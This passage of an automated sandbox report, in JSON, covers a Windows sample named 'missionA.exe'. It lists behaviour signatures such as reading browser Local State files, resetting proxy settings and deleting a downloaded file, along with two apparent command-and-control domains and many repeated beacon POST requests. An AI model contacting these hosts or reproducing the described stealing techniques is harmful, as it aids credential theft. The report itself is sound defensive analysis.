port, but without HTTP header","description":"TCP traffic to 103.100.211.218 on port 80 is sent without HTTP header\n TCP traffic to 154.221.26.108 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Crypto Library","description":"YARA signature for detecting crypto library used in process \"00000000-00003864\"\n YARA signature for detecting crypto library used in file \"imagc_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":5,"id":"yara-125","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - Cryptography Rijndael","description":"YARA signature for Rijndael cipher used in process \"00000000-00003864\"\n YARA signature for Rijndael cipher used in file \"imagc_1_.jpg\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-109","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\".exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\98FKNM2M\\imagc[1].jpg\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\".exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\98FKNM2M\\imagc[1].jpg\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\".exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"missionA.bin\" claimed CRC 472736 while the actual is CRC 436524","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCreateKeyExW\n RegCloseKey\n RegOpenKeyExW\n LoadLibraryW\n GetVersionExW\n GetTickCount\n OutputDebugStringA\n GetVersionExA\n LockResource\n GetStartupInfoW\n DeleteFileW\n GetProcAddress\n WriteFile\n UnhandledExceptionFilter\n GetTempPathW\n TerminateProcess\n GetModuleHandleW\n FindResourceExW\n FindResourceW\n CreateFileW\n Sleep\n FindWindowW\n SetSecurityDescriptorDacl\n OutputDebugStringW\n GetModuleFileNameW\n VirtualProtect\n GetFileAttributesW\n GetCommandLineW\n LoadLibraryExW\n MapViewOfFile\n CreateFileMappingW\n CreateThread\n GetSystemDirectoryW\n GetModuleHandleExW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"42/69 Antivirus vendors marked sample as malicious (60% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: HTTPREAD\n Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: HTTPREAD","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\".exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\EDGE\\USER DATA\\LOCAL STATE\"\n \".exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\LOCAL STATE\"\n \".exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\EDGE\\USER DATA\\LOCAL STATE\"\n \".exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\LOCAL STATE\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":72,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":10,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":204,"http_requests_count":204},"behavior_tags":["agent","bladabindi","botnet","chir","expiro","floxif","neshta","njrat","rat","virut","evasive"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64e0e7b2ae3b93eb2301db0e","environment_id":100,"environment_description":"Windows 7 32 bit","state":"ERROR","error_type":"Cannot run a 64-bit native file on a 32-bit virtual machine","verdict":"undetected","submit_name":"missionA.exe","analysis_start_time":"2023-08-19T16:02:58+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"64de63cdad144ae7bb0beed0","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["HKG","SYC"],"submit_name":"missionA.exe","analysis_start_time":"2023-08-17T18:15:42+00:00","indicators_count":{"informative":128,"suspicious":38,"malicious":7},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"64de63643c097065ce0abece","environment_id":100,"environment_description":"Windows 7 32 bit","state":"ERROR","error_type":"Cannot run a 64-bit native file on a 32-bit virtual machine","verdict":"undetected","submit_name":"missionA.exe","analysis_start_time":"2023-08-17T18:13:56+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false}],"network_activity":{"contacted_hosts":[{"address":"103.100.211.218","port":80,"protocol":"TCP","country":"Hong Kong","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"address":"154.221.26.108","port":80,"protocol":"TCP","country":"Seychelles","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"dns_resolutions":[{"domain":"app.nnnaajjjgc.com","address":"154.221.26.108","ttl":600,"country":"Seychelles","registrar_name":"Xin Net Technology Corporation","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-06-28T07:30:32+00:00","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"domain":"us.imgjeoigaa.com","address":"103.100.211.218","ttl":600,"country":"Hong Kong","registrar_name":"Xin Net Technology Corporation","registrar_organization":"REDACTED FOR PRIVACY","registrar_name_servers":"NS11.XINCACHE.COM","registrar_creation_date":"2023-05-17T02:25:38+00:00","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]}],"http_requests":[{"host":"us.imgjeoigaa.com","host_ip":"103.100.211.218:80","url":"/sts/imagc.jpg","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sts/imagc.jpg HTTP/1.1\nUser-Agent: HTTPREAD\nHost: us.imgjeoigaa.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/safe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /check/safe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43578&key=4285ddb3af6813d739c0fbe4d9223e9b","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43578&key=4285ddb3af6813d739c0fbe4d9223e9b HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43582&key=d6ba3fa3d2a833d2e5e02f2cb536aecc","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43582&key=d6ba3fa3d2a833d2e5e02f2cb536aecc HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43586&key=dc7d5f91e46313bf67df1e3fac4b7f83","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43586&key=dc7d5f91e46313bf67df1e3fac4b7f83 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43594&key=f5dae087e835aa035eae44bfd4cafaa9","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43594&key=f5dae087e835aa035eae44bfd4cafaa9 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43600&key=56f4b5bab574e4c0723a4d56a0654c23","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43600&key=56f4b5bab574e4c0723a4d56a0654c23 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43604&key=9fb50510330a99145b06c8a1780cdfcd","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43604&key=9fb50510330a99145b06c8a1780cdfcd HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43606&key=13e961ce06deab1ce3de9f9ab63ff242","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43606&key=13e961ce06deab1ce3de9f9ab63ff242 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43612&key=53d751fc167ff27743de13609d914586","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43612&key=53d751fc167ff27743de13609d914586 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43614&key=3b1abb883f29940cc659048197011b5d","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43614&key=3b1abb883f29940cc659048197011b5d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43616&key=91d639f4a5fb2981ef8e354f43fb2373","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43616&key=91d639f4a5fb2981ef8e354f43fb2373 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43640&key=49b8cadd684690e1d94149071055dd50","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43640&key=49b8cadd684690e1d94149071055dd50 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43646&key=a64f2cc50b10781a4782daf6eb762db1","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43646&key=a64f2cc50b10781a4782daf6eb762db1 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43654&key=c7f1daa416e7e3aefc9847c52f3036f9","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43654&key=c7f1daa416e7e3aefc9847c52f3036f9 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43658&key=79b5863f0e83bc34dc150a550ec7693e","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43658&key=79b5863f0e83bc34dc150a550ec7693e HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64de63cdad144ae7bb0beed0"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=43664&key=cda828a95b4393dec80161f8ea03e677","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=43664&key=cda828a95b4393dec80161f8ea03e677 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: 